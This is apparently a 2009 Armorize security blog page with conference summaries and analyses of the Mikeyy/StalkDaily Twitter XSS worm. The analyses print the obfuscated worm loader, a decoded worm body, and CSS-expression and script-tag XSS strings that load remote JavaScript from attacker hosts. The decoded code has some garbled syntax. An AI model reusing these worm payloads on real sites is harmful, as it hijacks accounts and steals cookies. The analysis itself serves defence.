「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行，有鑑於許多向隅的人，還有中南部無法北上的有心人士，以及無法全場做成筆記者，能夠了解、知悉我們的心得，因此，彙整「亞太資安論壇」上的簡報內容，與大家分享。
繼續閱讀全文...
阿碼科技將與您分享網站威脅之實務案例與因應，更以「弱點的一生」來詮釋如何最有效地利用阿碼之「網站健診服務包（Armorize AppSec Suite）」中的「程式碼資安檢測（源碼檢測；CodeSecure）」、「網站應用層防火牆(SmartWAF)」、「即時安全監控(HackAlert)」、以及「木馬間諜檢測軟體(Archon Scanner)」等技術，讓企業在有限的資源下，擁有全方位的網站防護。相信透過實戰經驗分享成功案例，阿碼科技一起與您讓駭客無洞可鑽，享受網站安全、顧客安心、歡心獲利！
一、弱點的一生
上圖，很明顯提的是「系統」弱點的一生，這圖以前就常常被拿來說明了，只是是在 IDS、IPS 的時候，你有注意到嗎？所以我把 IPS 的防護作用放進去了， 網路應用程式防火牆 (WAF)的功能與作用是很類似入侵偵測防護(IPS)設備的。
上圖，就是「網站應用程式弱點的一生」，因為網站有包含需求、規畫、開發、測試、上線...的程序，當然，每個階段都有可能造成「弱點」，主要有網站邏輯設計錯誤、網路應用系統安全弱點 (OWASP)、SOP 程序弱點。這邊先針對 SOP 程序弱點舉例說明，網站上線之前應該有需要有一個類似標準作業程序(SOP)的文件，依據此進行網站上線前的一一檢點，確認每個項目都已經完成安全查核，其中應包含一項查核為「HTTP PUT Method」的檢測，做為確認系統無法隨意以 PUT 方式將檔案放入網站上，這通常都是對網站設定管理的不熟悉造成，為了避免相關的疏忽，可以發展一個「網站上線前的安全檢核清單」，避免這類設定不當造成問題。
目前金融產業在網站程式開發的生命周期中，已經是非常注意邏輯問題，以及網站上線的安全檢核清單問題，也累積了相當多的實戰經驗。對於其他產業來說，就必須特別注意整個網站程式開發的生命周期。當然，也有很多人的網站已經上線了，如何快速有效的進行防禦呢？協助您爭取時間進行全面快速有效的弱點修復呢？
最後除了系統、網站弱點，還有其他弱點需要注意嗎？你的 IT 基礎架構、網路架構、資安設備佈署、惡意程式防禦佈署...等，可能都會造成防禦漏洞的，你又該如何面對呢？
二、洞悉 Web 手法威脅
上圖，目前僅列出網站常見的威脅，至於，真正漏洞成因你得深思，可參考先前的一篇文章：「深思網站淪陷背後的意義」。另外有一篇文章也可參考：「網站多久沒健檢，是不是該關心一下了」希望能有幫助。如何洞悉網站威脅呢？由上表可以發現接獲通報來源，沒有一個是 IT 人員自行發現的，所以 IT 人員該如何培養敏感度呢？情報網是否情蒐管道暢通呢？尤其是客服或企業聯繫窗口，經常被人所遺忘的一群，一定要給予相當的資安敏感度才是。
另外，還有一個很重要的，就是地下經濟利益，才是造就威脅的真正成因。地下利益是動機、目的，威脅手法只是其手段，所以這點才是洞悉的關鍵之道。接下來，身為網站管理人或負責人，你得改變思維，到底網站上有哪些東西是有心人士想要的，有心人士會利用各種手段或手法來取的，你該如何因應呢？
上圖，是對於網站瀏覽者的威脅，其中接獲通報來源中有所謂的「網頁信譽評等 (WRS, Web Reputation Services)」，相關軟體可以參考這裡，某些程度這是會是有幫助的一個工具，如果不懂這是啥？哪你真的需要花點時間培養網路資安觀念了。同樣的，思考地下利益為何？你會發現不外乎「木馬、個資及金錢」，無論外在風險、威脅或各種風風雨雨，你應該知道有心人要的是啥了吧！對使用者來說就避免中毒、注意個資、不要用網路做跟金錢有關的事，但，用說的永遠比較容易，如何培養警覺性才是關鍵。
三、實際案例探討
1.密碼復原的邏輯錯誤
相關文章：
2008/10/09 「田納西男子駭進培林的電子信箱」
思考(當成課後問題吧！)：問題如何能提早發現？做好準備(案例學習)？你的網站有類似問題嗎？
2.Code的攻防戰
相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
當你的網站遇上難纏的對手時，你該如何處置呢？開發人員也在事件應變處裡的一環了，不是嗎？早期的系統、網路漏洞問題，現在的程式開發漏洞問題，還有使用者警覺性的問題，你準備好了嗎？
思考(課後問題)：如何迅速找出有問題的程式碼？有效的修正程式碼？網站改版時該做甚麼？你有記取教訓嗎？對開發流程是否有衝擊？開發人員是否有案例學習討論？你做準備了嗎？
四、成功關鍵
1.產品要有人力技術配合：技術需要扎根，才能有效發揮產品優勢。當然，需要正確有效評估「現有資源」，檢視目前現有人力與資源。
2.產品要融入管理制度：向上管理、對下管理。
3.產品只10%的成本，90%的成本在建立管理與培養人力技術上。
4.您在選的是產品，還是在選服務與技術。
五、打造 Web AP 聯防網（Armorize AppSec Suite）
上圖，是目前阿碼主要產品，相信大家應該不陌生。
上圖，為阿碼產品與技術服務的戰略位置，其中最特別的是「資安技術稽核」，這是因為我們看過太多客戶內部的 IT 基礎架構、網路規劃配置、資安設備佈署、惡意程式防禦佈署...等，都有相當的錯誤觀念存在。舉最簡單的例子，我們在看過許多客戶的 IPS 部署後，還沒有看過正確佈署的，有誰關心您是否正確使用或有效使用產品呢？你的防禦佈署規劃是在疊層架屋嗎？我們會總體檢視，包含「網站架構」、「用戶端管理」、「網路基礎建置」三個面向，找出 IT 的盲點與弱點，提供補強建議。
上圖，是阿碼的ASF對客戶提供的加值服務大類。其中教育訓練，是提供客戶建立技術扎根的管道之一。其中還包含社交工程演練，提供一般使用者能培養電子郵件與上網的警覺性，這可不是用產品或技術就能達到的目標。
後記：「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行，有鑑於許多向隅的人，還有中南部無法北上的有心人士，以及無法全場做成筆記者，能夠了解、知悉我們的心得，因此，彙整「亞太資安論壇」上的簡報內容，與大家分享。
繼續閱讀全文...
成功 IT 主管不說的秘密 － 有效面對Web威脅的六個訣竅
成功 IT 主管不說的秘密
前言：
今天的IT主管，是高挑戰性的工作。一方面，來自Web的威脅日益增加，另一方面，經濟不景氣，駭客更用力，而公司卻是預算降低，人手不足。資安投資並非能增加公司業務，在有限的時間、資源與預算下，資安做得好是運氣，且難以具體展現成果，而面對日新月異的攻擊手法，稍有疏忽卻要背負所有的責任。難道這是 IT 主管的宿命嗎？當然不是，只是成功的 IT 主管很少分享他們的秘訣。成功的IT主管能在有限資源下，充分掌握威脅面貌，減少不必要投資，有效降低資安風險，在需要時，與上級有效溝通取得資源，並選擇好的廠商，購買正確的產品或服務。資安威脅目前已經普遍受到公司高層主管重視，抓到訣竅的IT主管往往能快速得到認同，成為紅人。這個演講將用世界知名 CIO/CSO 實際的例子，舉出六個訣竅，說明這些成功的 IT 主管是如何瞭解威脅，與上級溝通，如何選對產品或廠商，如何在威脅中仍能高枕無憂，甚至步步高升？
一、洞悉 Web 威脅的宏觀挑戰
當網站開發完成，一旦對外開放的哪一刻開始，就無法拒絕任何人的任意輸入，如「神農大帝嚐百草，即使毒藥也得吃」，然神農大帝有神農氏一族，有目標、有系統、有管理的運作，你是單槍匹馬嗎？更甚者，一旦網站進一步成為幫兇，傷及網站瀏覽者，影響商譽甚鉅。而「漏洞修補」的方式也因開發團隊、語言系統、攻擊手法有不同因應方式，是否確實、有效、完整的修補也是一大課題。至於洞悉 Web 威脅，我們另外一場有深入剖析。
二、正確有效善用 「現有資源」
1.最少投資，最大效益
了解 Web AP 弱點有其「難易度」與「輕重緩急」，「修補」與「防護」之間如何拿捏運用？以解「燃眉之急」！
體察修補漏洞「收斂」與「歸納」的重要性，最短時間達到最大效益。
2.現狀處境、現有資源的相互應用
人力（內外部）、時間、預算與技術方案，「完整化」所有弱點的發現。
三、向上管理，體察君意、謀得資源！
1.對上用「維持資安水平」，「不要發生資安事故」的同理心，方能爭取「所需資源」。
2.避免陷入「功能面」單純比較，兼顧「管理面」、「操作面」與「技術面」。
3.避免陷入「大廠背書」迷失。
四、對下管理，同仇敵愾！
1.Web 安全方案 vs 打破藩籬：網路、系統、開發、資安如何分工？要談分工，就必須知道問題出在哪裡？
2.Web 安全方案 vs 組織抗拒：資安非其事，何故惹塵埃？
3.槍口「一致」對外(駭客)：要塑造「保護網站」等同「保家衛民」，面對「艱難」任務，「共同」責任重大。並是適度利用「獎賞制度」讓「小兵願意立大功」，「全員皆兵，全面備戰」。
4.鼓勵資安為「生涯規劃」第二專長：強化資安教育訓練，如 Web 應用程式攻擊趨勢、修補改善、Secure Coding、應變鑑識、資安認證...等方式，培養資安專才。網路、系統、開發、資安本一家，內部輪調有必要，也能使同仁不會有過度的主觀意識。
五、「嚴選」Web AP 安全 合作夥伴
阿碼是原廠，有產品技術的優勢，也提供滲透測試服務，對於網站攻與防有專業能力。阿碼的原廠技術都在台灣，就在南港軟體園區，而我們團隊來自世界各地，能說中英文，提供在地的即時的技術服務。阿碼也提供事件應變處理協助，但我們卻不喜歡這樣的接觸狀況，因為，這個時候已經是事後了，但我們仍會解決客戶問題，並給予正確的忠墾建議與防範觀念。也因為這些接觸我們也有機會接觸到最新的攻擊手法、威脅，且我們更關注在地的重大威脅狀況，或全球注目的重大攻擊事件，提供最新的攻擊分析說明，看我們的 Blog 就可以說明一切了。
六、實務導入「Web 資安生命週期」各階段之 制度、流程與技術
這點當然是阿碼的強項，但阿碼不只有懂網站的攻防，我們也懂惡意程式。別忘了我們的「木馬間諜檢測軟體(Archon Scanner)」，透過行為痕跡偵測來分析電腦健康狀態的檢定工具。
後記：「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行，有鑑於許多向隅的人，還有中南部無法北上的有心人士，以及無法全場做成筆記者，能夠了解、知悉我們的成果分享，因此，在這彙整「亞太資安論壇」上的簡報內容。阿碼科技的 ASF 團隊(Armorize Special Forces)在協助多家企業客戶成功導入產品、建立管理制度、傳授人力技術...等過程中，一起共同努力克服重大問題的關鍵時刻，不斷磨合學習而來，在歸納整理心訣後，在此與大家一同分享。
繼續閱讀全文...
2009年4月19日
為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明
Mikeyy mikeyy one more time...oops, I did it again...
經過一個星期，Mikeyy蠕蟲發威了五次，twitter也號稱將所有相關的XSS（跨網站腳本）漏洞都修復了。結果昨天Mikeyy再度發威，twitter也再度公佈，並在幾小時候宣布已經修補漏洞。沒想到18小時後，Mikeyy又重現，twitter也又趕快公佈並著手處理...（見上圖。）
這次蠕蟲來的猛，幾個小時內發出超過一萬五千封假tweet訊息：
難道說這麼簡單到不行的twitter介面，在經過一個星期後，還是無法正確修補XSS（跨網站腳本）漏洞？不...會...吧？事實上也是這樣，六代跟一至五代的XSS攻擊字串不同，證明了twitter的修補方法都是錯的，我們這邊就藉此實例來說明，為何XSS（跨網站腳本）那麼難修補？
這次的蠕蟲放在：hxxp://runebash.net/xss.js，有經過一層的混碼（obfuscation）：
Google了半天，竟然沒有人貼出解碼後的版本（連解碼前之以上版本都找不到），真是苦命，都沒人想研究嗎？只好自己手動解一下：
重點在第34行，也就是這次攻擊的字串：
恩，沒錯，字串中沒有「<」或「>」或「"」等字元，當然也沒有「<script>」或「<script src=」等字串，但是還是有效達成XSS（跨網站腳本）的效果。
我們看一下被感染後使用者的原始HTML（節錄）：
恩，沒錯，這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下，其中就帶有「<script>」字串：
有效防範XSS之難處在於，每個網站的架構之不同，可能造成多層的字串編解碼步驟，所以如何有效處理外來（不安全）的字串，因各網站而異，開發人員需要充分了解XSS的原理，才能有效避免。這個題目太大，晚上就要上飛機到RSA參展，目前無法寫太多，但是簡而言之，應盡量避免黑名單之使用，而採用白名單（比較資料型態，長度，合法性等）。以twitter的例子，twitter就是誤認為以黑名單方式過濾掉「<」或「>」或「"」等字元，就可以避免XSS了，但是當然不是這樣子，以這次六代的攻擊字串為例，其中並無包含任何以上字元，然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多，其中RSnake（ha.ckers.org與sla.ckers.org，OWASP有來台灣）的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整，可以參考。
為何說twitter是用黑名單方式？其實之前就測出來了，也有人通知，但是可能email都進垃圾信了，才會又讓Mikeyy捲土重來。其實不用測試，twitter的API手冊上，早就自己承認了：
手冊上直接說：為了避免cross-site scripting漏洞，「<」與「>」會經過編碼...這個在駭客的眼裡，其實是說：我很有可能有XSS漏洞，快來打我。黑名單絕對不是有效防止XSS（跨網站腳本）的方法。這是因為在很多情況下，是不需要「<」與「>」，甚至「"」等字元，就可以攻擊成功的。
在問題終於排除後，twitter再次宣布「問題已經控制住了（under control）」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢？
作者 Wayne 為阿碼科技CEO
後記一：因為這次網路上似乎都沒有人公開攻擊碼，剛才寫信給RSnake（ha.ckers.org與sla.ckers.org），他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區，看一下上面從Samy一路下來到都有收錄，幫他推一下，想研究XSS蠕蟲看這：http://sla.ckers.org/forum/read.php?2,14477。
後記二：有朋友寫信來問，我才發現這系列幾篇中都忘記提了：注意攻擊方式是用「Post」非「Get」，很久以前的傳說：【使用「Post」非「Get」，就可以避免XSS】...當然一直都只是傳說。
相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」（本篇）
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
繼續閱讀全文...
經過一個星期，Mikeyy蠕蟲發威了五次，twitter也號稱將所有相關的XSS（跨網站腳本）漏洞都修復了。結果昨天Mikeyy再度發威，twitter也再度公佈，並在幾小時候宣布已經修補漏洞。沒想到18小時後，Mikeyy又重現，twitter也又趕快公佈並著手處理...（見上圖。）
這次蠕蟲來的猛，幾個小時內發出超過一萬五千封假tweet訊息：
難道說這麼簡單到不行的twitter介面，在經過一個星期後，還是無法正確修補XSS（跨網站腳本）漏洞？不...會...吧？事實上也是這樣，六代跟一至五代的XSS攻擊字串不同，證明了twitter的修補方法都是錯的，我們這邊就藉此實例來說明，為何XSS（跨網站腳本）那麼難修補？
這次的蠕蟲放在：hxxp://runebash.net/xss.js，有經過一層的混碼（obfuscation）：
var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28
Google了半天，竟然沒有人貼出解碼後的版本（連解碼前之以上版本都找不到），真是苦命，都沒人想研究嗎？只好自己手動解一下：
function wait() {
var content = document.documentElement.innerHTML;
var tmp_cookie=document.cookie;
var tmp_posted=tmp_cookie.match(/posted/);
authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken=authreg.exec(content);
var authtoken=authtoken[1];
var randomUpdate= new Array();
randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
var updateEncode=urlencode(randomUpdate[genRand]);
var ajaxConn= new XHConn();
ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var _0xf81bx1c="Mikeyy";
var updateEncode=urlencode(_0xf81bx1c);
var ajaxConn1= new XHConn();
ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
var XSS=urlencode(genXSS);
var ajaxConn2= new XHConn();
ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
} ;
setTimeout(wait(),5250);
重點在第34行，也就是這次攻擊的字串：
var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";恩，沒錯，字串中沒有「<」或「>」或「"」等字元，當然也沒有「<script>」或「<script src=」等字串，但是還是有效達成XSS（跨網站腳本）的效果。
我們看一下被感染後使用者的原始HTML（節錄）：
ul.sidebar-menu li.active a {
font-weight: bold;
color: #341957;
background-color: #000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}
恩，沒錯，這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下，其中就帶有「<script>」字串：
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); 有效防範XSS之難處在於，每個網站的架構之不同，可能造成多層的字串編解碼步驟，所以如何有效處理外來（不安全）的字串，因各網站而異，開發人員需要充分了解XSS的原理，才能有效避免。這個題目太大，晚上就要上飛機到RSA參展，目前無法寫太多，但是簡而言之，應盡量避免黑名單之使用，而採用白名單（比較資料型態，長度，合法性等）。以twitter的例子，twitter就是誤認為以黑名單方式過濾掉「<」或「>」或「"」等字元，就可以避免XSS了，但是當然不是這樣子，以這次六代的攻擊字串為例，其中並無包含任何以上字元，然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多，其中RSnake（ha.ckers.org與sla.ckers.org，OWASP有來台灣）的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整，可以參考。
為何說twitter是用黑名單方式？其實之前就測出來了，也有人通知，但是可能email都進垃圾信了，才會又讓Mikeyy捲土重來。其實不用測試，twitter的API手冊上，早就自己承認了：
手冊上直接說：為了避免cross-site scripting漏洞，「<」與「>」會經過編碼...這個在駭客的眼裡，其實是說：我很有可能有XSS漏洞，快來打我。黑名單絕對不是有效防止XSS（跨網站腳本）的方法。這是因為在很多情況下，是不需要「<」與「>」，甚至「"」等字元，就可以攻擊成功的。
在問題終於排除後，twitter再次宣布「問題已經控制住了（under control）」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢？
作者 Wayne 為阿碼科技CEO
後記一：因為這次網路上似乎都沒有人公開攻擊碼，剛才寫信給RSnake（ha.ckers.org與sla.ckers.org），他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區，看一下上面從Samy一路下來到都有收錄，幫他推一下，想研究XSS蠕蟲看這：http://sla.ckers.org/forum/read.php?2,14477。
後記二：有朋友寫信來問，我才發現這系列幾篇中都忘記提了：注意攻擊方式是用「Post」非「Get」，很久以前的傳說：【使用「Post」非「Get」，就可以避免XSS】...當然一直都只是傳說。
相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」（本篇）
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
繼續閱讀全文...
2009年4月14日
漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節
（閱讀本文之前請先閱讀「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」）
在前幾波的Mikeyy蠕蟲攻擊結束後，平靜了不到一天，昨晚twitter上又出現第四代Mikeyy蠕蟲，twitter官網上宣布後，經過三小時努力，終於有效修改XSS跨網站（跨站腳本攻擊），停止了蠕蟲的散播。
上圖中，twitter先宣布：「謝謝各位的訊息，我們也知道第四代，並正努力解決問題」。三小時後，終於宣布：「我們相信情況已經控制住了，謝謝各位的耐心，我們會持續關注Mikeyy」。
昨天那篇的最後一句我們說：「twitter不見得能找到所有含有XSS漏洞的程式碼，再加上Mikeyy表示不一定就此罷手，故往後仍有一些風險。」結果不幸言中，昨晚Mikeyy蠕蟲之三代與四代（其實有五代）重現，造成另一波混亂，連TechCrunch也再度報導了一次（真難得一個資安事件連續兩天被TechCruch報導），並認為此事件會對twitter的聲譽造成嚴重的打擊。
我們觀察到的Mikeyy (StalkDaily)蠕蟲，其實有五個版本，後來的版本還用了特殊的混碼（obfuscation）。在這篇，我們第一次詳細地研究此蠕蟲。
[第一代Mikeyy（StalkDaily）]
第一代的蠕蟲沒有編碼，第78-80行，會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com，成功盜取使用者登入資訊：
這根Mikeyy的說法，他並沒有偷盜使用者帳號，是不一樣的，事實上是有。另外，此時蠕蟲本體javascript放置於hxxp://http://mikeyylolz.uuuq.com/x.js，密碼也是回傳至mikeyylolz.uuuq.com。
第一代要攻擊弱點為「url」（web）與「location」等欄位之XSS（跨站腳本攻擊）漏洞：
此時受感染者會發出訊息包括：
[第二代Mikeyy（StalkDaily）]
第二代整隻經過自動工具兩層的混碼，真的很討厭。原始javascript（節錄）：
脫第一層殼之後，可以看到（節錄）：
此時由於mikeyylolz.uuuq.com被關閉，蠕蟲本體改放在「content.ireel.com/xssjs.js」與「http://content.ireel.com/jsxss.js」，回傳位置則改為包括「hxxp://omghax.uuuq.com/x.php」與「hxxp://content.ireel.com/j.php」等位置。從上面的程式可以看出，此時被感染的使用者，會被冒發下列訊息：
"Twitter should really fix this... Mikeyy"
"I am done... Mikeyy"
"Mikeyy is done.."
"Twitter please fix this, regards Mikeyy"
同時並可以看出，Mikeyy還是有偷使用者帳號與cookie，只是程式移到了wait()函式內。
此外，二代開始打不同的XSS（跨站腳本攻擊）弱點，包括「profile_background_tile」與「profile_link_color」等變數。
[第三代Mikeyy（StalkDaily）]
第三代與第二代大致上相同，唯由於偷密碼位置「hxxp://omghax.uuuq.com」亦被關閉，故帳號與cookie改回報至「hxxp://bambamyo.110mb.com/j.php」，並將蠕蟲javascript本體放至「http://bambamyo.110mb.com/wompwomp.js」。
一至三代共同點：
1. 皆會偷使用者帳號與cookie
一與二、三代不同點：
1. 一代無混碼，二、三代有
2. 惡意javascript放至位置與回報帳號/cookie之位置不同
3. 攻擊之XSS（跨站腳本攻擊）弱點不同
4. 冒發之訊息不同
此三代twitter於星期天（亞洲時間）處理完畢並修正了XSS漏洞。
[第四代Mikeyy（StalkDaily）]
第四代於亞洲時間星期一晚上爆發，沒有編碼，主打「name」欄位的XSS（跨站腳本攻擊）弱點，該弱點當時twitter並未修復，蠕蟲再度快速擴散。此時特別的是，Mikeyy反正已經公開承認是蠕蟲他做的，也就不隱藏了，把惡意javascript直接放在自己的「StalkDaily.com」網站上。以下四代程式碼節錄：
解出來為：
第四代並將偷使用者帳號與cookie的程式移除了。
此時冒發的訊息為：
[第五代Mikeyy（StalkDaily）]
很快地，Mikeyy散發出了第五代，此時亞洲也有使用者注意到了：
五代大致上與四代相同，唯加上了記錄使用者帳號的一行程式，但是跟一至三代不同，五代只記錄帳號，並未偷竊密碼，回報處也直接是「hxxp://www.stalkdaily.com/x.php」：
記錄被感染者帳號的「x.php」一開始時，會直接寫入http://www.stalkdaily.com/users.txt中，我們可以看到當時被感染的使用者帳號（目前twitter已經都處理完畢）：
看到時，我決定跟Mikeyy打聲招呼，於是下了：「http://www.stalkdaily.com/x.php?username=greetings_from_wayne」...
可是reload users.txt，怎麼沒有出現呢？再下一次時，出現錯誤訊息：
原來Mikeyy改了x.php，不再寫到users.txt，改寫入mysql資料庫。
五代冒發之訊息只有一條：「Twitter, hire Mikeyy! (718)...」（推特，聘用Mikeyy！），後面是Mikeyy的電話，由於Mikeyy可能未成年，這邊就刪了。
[觀察]
觀察：
1. 過了三年，從Samy到Mikeyy，XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲，花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞
4. 果然不幸被我們言中，twitter那時無法一下子把所有漏洞修完，故隔天讓四代與五代有機可乘
[建議被感染之使用者：]
1. 登出twitter，清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔，通常在C:\Windows\System32\drivers\etc或類似目錄下，並加入以下五行，可以防止瀏覽器下載該惡意javascript：
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com
3. 可考慮利用firefox的noscript外掛，避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正（profile關閉者注意是否有被打開）
作者 Wayne 為阿碼科技CEO
相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」（本篇）
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
後記：
當初在SANS日誌上寫ARP掛馬的Bojan Zdrnja，昨天在SANS日誌上也很快地針對Mikeyy所用之javascript混碼（變形）發表了第二篇關於Mikeyy蠕蟲之報告（前一天之報告在此）：Twitter worm copycats，其中提及：這個手法跟我上星期介紹的變形手法如出一轍，他們在看SANS日誌嗎？
（are they reading the ISC diaries?）
這讓我想到之前我們寫的「網路藍色藥丸？首支攻擊路由器之蠕蟲出現：再談路徑之安全性」中，早在今年一月就率先分析該路由器蠕蟲之Teamfurry，在其最新的blog上指出，經過了三個月，PSYB0T已經有了演進，「應該是看到了Terry的blog」。
非也，SANS的Bojan，錯了，Teamfurry的Terry，根據台灣某blogger，「駭客不會沒事看blog的」...
後後記：很不幸，twitter在五代之後還是沒正確修改漏洞，六代捲土重來，相關文章如上列。
繼續閱讀全文...
在前幾波的Mikeyy蠕蟲攻擊結束後，平靜了不到一天，昨晚twitter上又出現第四代Mikeyy蠕蟲，twitter官網上宣布後，經過三小時努力，終於有效修改XSS跨網站（跨站腳本攻擊），停止了蠕蟲的散播。
上圖中，twitter先宣布：「謝謝各位的訊息，我們也知道第四代，並正努力解決問題」。三小時後，終於宣布：「我們相信情況已經控制住了，謝謝各位的耐心，我們會持續關注Mikeyy」。
昨天那篇的最後一句我們說：「twitter不見得能找到所有含有XSS漏洞的程式碼，再加上Mikeyy表示不一定就此罷手，故往後仍有一些風險。」結果不幸言中，昨晚Mikeyy蠕蟲之三代與四代（其實有五代）重現，造成另一波混亂，連TechCrunch也再度報導了一次（真難得一個資安事件連續兩天被TechCruch報導），並認為此事件會對twitter的聲譽造成嚴重的打擊。
我們觀察到的Mikeyy (StalkDaily)蠕蟲，其實有五個版本，後來的版本還用了特殊的混碼（obfuscation）。在這篇，我們第一次詳細地研究此蠕蟲。
[第一代Mikeyy（StalkDaily）]
第一代的蠕蟲沒有編碼，第78-80行，會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com，成功盜取使用者登入資訊：
這根Mikeyy的說法，他並沒有偷盜使用者帳號，是不一樣的，事實上是有。另外，此時蠕蟲本體javascript放置於hxxp://http://mikeyylolz.uuuq.com/x.js，密碼也是回傳至mikeyylolz.uuuq.com。
第一代要攻擊弱點為「url」（web）與「location」等欄位之XSS（跨站腳本攻擊）漏洞：
此時受感染者會發出訊息包括：
randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
